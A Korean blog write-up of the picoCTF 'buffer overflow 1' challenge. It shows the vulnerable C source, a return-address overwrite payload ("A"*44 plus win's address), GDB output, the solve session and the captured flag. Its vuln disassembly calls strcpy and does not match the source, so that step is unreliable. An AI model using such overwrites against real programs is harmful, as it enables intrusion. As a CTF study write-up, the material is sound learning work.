System Hacking/인터루드 스터디

[picoCTF] buffer overflow 1

daaaay 2026. 4. 2. 19:05

문제

 
 
인스턴스 누르니 문제 다운받는 링크 떴다 

 
 
다운받은 파일 여기로 옮기기

'

 
실행해보기 
이번에도 입력창이 뜬다.
aaaaa 입력해봤다

 
 
소스코드 봐보자
 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

 
단순히 프로그램을 터뜨리는 것이 아니라, 프로그램의 실행 흐름을 조작하여 실행되지 않아야 할 함수를 강제로 호출하는 것이 목표다.

1. 주요 함수 분석

win() 함수

void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); ... fgets(buf,FLAGSIZE,f); printf(buf); }
  • 역할: flag.txt를 읽어서 내용을 출력한다.
  • 특이점: main 함수나 다른 어디에서도 이 함수를 호출하는 코드가 없다. 즉, 정상적인 방법으로는 실행될 수 없는 함수다. 이 함수의 시작 주소를 알아내어 프로그램이 이쪽으로 점프하게 만드는 것이 공격의 핵심이다.

 

vuln() 함수

void vuln(){ char buf[BUFSIZE]; // BUFSIZE = 32 gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\\n", get_return_address()); }
  • 취약점: char buf[32]로 32바이트 공간을 할당했지만, 입력 제한이 없는 gets(buf) 함수를 사용한다.
  • 스택 구조: buf 뒤에는 스택 프레임 포인터(SFP)와 함수가 끝난 후 돌아갈 복귀 주소(Return Address)가 저장되어 있다.
  • 출력문: get_return_address()를 통해 현재 이 함수가 끝난 뒤 어디로 돌아갈지 주소값을 보여준다. 공격자가 이 주소를 덮어썼다면, 바뀐 주소가 화면에 출력될 것이다.

 

2. 공격 메커니즘: Return Address Overwrite

이 문제는 스택 오버플로우를 이용해 vuln 함수가 종료될 때 원래의 main 함수로 돌아가는 대신, win 함수로 가도록 복귀 주소를 변조해야 한다.

스택의 구성 (예시)

vuln 함수가 실행될 때 스택은 대략 다음과 같은 순서로 쌓여 있다.

  1. buf[32] (32바이트)
  2. Saved EBP (4바이트 - 32비트 기준)
  3. Return Address (4바이트)

공격자는 gets를 통해 32바이트를 채우고, 추가로 4바이트(SFP)를 더 채운 뒤, 그 다음 4바이트에 win 함수의 주소값을 넣어야 한다.

 

3. 해결을 위한 분석 단계

단계 1: win 함수의 주소 찾기

방법1) GDB를 사용하여 win 함수의 메모리 주소를 확인해야 한다.

pwndbg> info address win

 

방법2) 여기서 나온 주소값(예: 0x08048f0d)이 우리가 복귀 주소에 덮어써야 할 값이다.

pwndbg> print win

 

 

단계 2: 오프셋(Offset) 확인

buf의 시작점부터 복귀 주소까지 정확히 몇 바이트가 떨어져 있는지 알아내야 한다.

  • BUFSIZE가 32이므로, 보통 32(buf) + 12(더미 데이터) = 44바이트 뒤에 복귀 주소가 위치하는 경우가 많다.
  • 정확한 값은 GDB에서 pattern create와 pattern offset 명령어를 사용해 찾을 수 있다.

 

단계 3: 페이로드 구성

만약 오프셋이 44바이트고 win의 주소가 0x08048f0d라면, 공격 문자열은 다음과 같은 형태가 된다.

  • "A" * 44 + "\\x0d\\x8f\\x04\\x08" (리틀 엔디언 방식 적용)

 

4. 요약

  • 목표: vuln 함수의 복귀 주소를 win 함수의 주소로 덮어쓰기.
  • 취약점: gets() 함수를 통한 버퍼 오버플로우.
  • 필요 정보:
    1. buf 시작점부터 복귀 주소까지의 거리(오프셋).
    2. win 함수의 메모리 주소.

 

gdb 접속

 gdb vuln

 

info func
pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001100  __cxa_finalize@plt
0x00001110  printf@plt
0x00001120  fflush@plt
0x00001130  gets@plt
0x00001140  fgets@plt
0x00001150  signal@plt
0x00001160  getegid@plt
0x00001170  strcpy@plt
0x00001180  puts@plt
0x00001190  exit@plt
0x000011a0  __libc_start_main@plt
0x000011b0  fopen@plt
0x000011c0  setresgid@plt
0x000011d0  _start
0x00001210  __x86.get_pc_thunk.bx
0x00001220  deregister_tm_clones
0x00001260  register_tm_clones
0x000012b0  __do_global_dtors_aux
0x00001300  frame_dummy
0x00001309  __x86.get_pc_thunk.dx
0x0000130d  sigsegv_handler
0x00001353  vuln
0x00001382  main
0x0000149b  __x86.get_pc_thunk.ax
0x000014a0  __libc_csu_init
0x00001510  __libc_csu_fini
0x00001515  __x86.get_pc_thunk.bp
0x0000151c  _fini

 
 

disass vuln
pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x00001353 <+0>:     endbr32
   0x00001357 <+4>:     push   ebp
   0x00001358 <+5>:     mov    ebp,esp
   0x0000135a <+7>:     push   ebx
   0x0000135b <+8>:     sub    esp,0x14
   0x0000135e <+11>:    call   0x149b <__x86.get_pc_thunk.ax>
   0x00001363 <+16>:    add    eax,0x2c49
   0x00001368 <+21>:    sub    esp,0x8
   0x0000136b <+24>:    push   DWORD PTR [ebp+0x8]
   0x0000136e <+27>:    lea    edx,[ebp-0x18]
   0x00001371 <+30>:    push   edx
   0x00001372 <+31>:    mov    ebx,eax
   0x00001374 <+33>:    call   0x1170 <strcpy@plt>
   0x00001379 <+38>:    add    esp,0x10
   0x0000137c <+41>:    nop
   0x0000137d <+42>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x00001380 <+45>:    leave
   0x00001381 <+46>:    ret
End of assembler dump.

 

익스플로잇 

코드 작성할 파일 생성하기 

vi [파일명]

 
 
코드 작성하기 

 
 
python3 파일명
실행하기 

(venv) dada@LAPTOP-OTMC93DN:~/Interlude_System_Study$ python3 exploit.py
[+] Opening connection to saturn.picoctf.net on port 56761: Done
[*] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_5c6baa9e}[*] Got EOF while reading in interactive

 
플래그 

picoCTF{addr3ss3s_ar3_3asy_5c6baa9e}

 
성공이다

'System Hacking > 인터루드 스터디' 카테고리의 다른 글

260514 [picoCTF] format string 0  (0) 2026.05.14
[picoCTF] buffer overflow 2  (0) 2026.04.02
[picoCTF:] buffer overflow 0  (0) 2026.04.02
[pwnable.kr] bof  (0) 2026.03.26
[pwnable.kr] fd  (0) 2026.03.26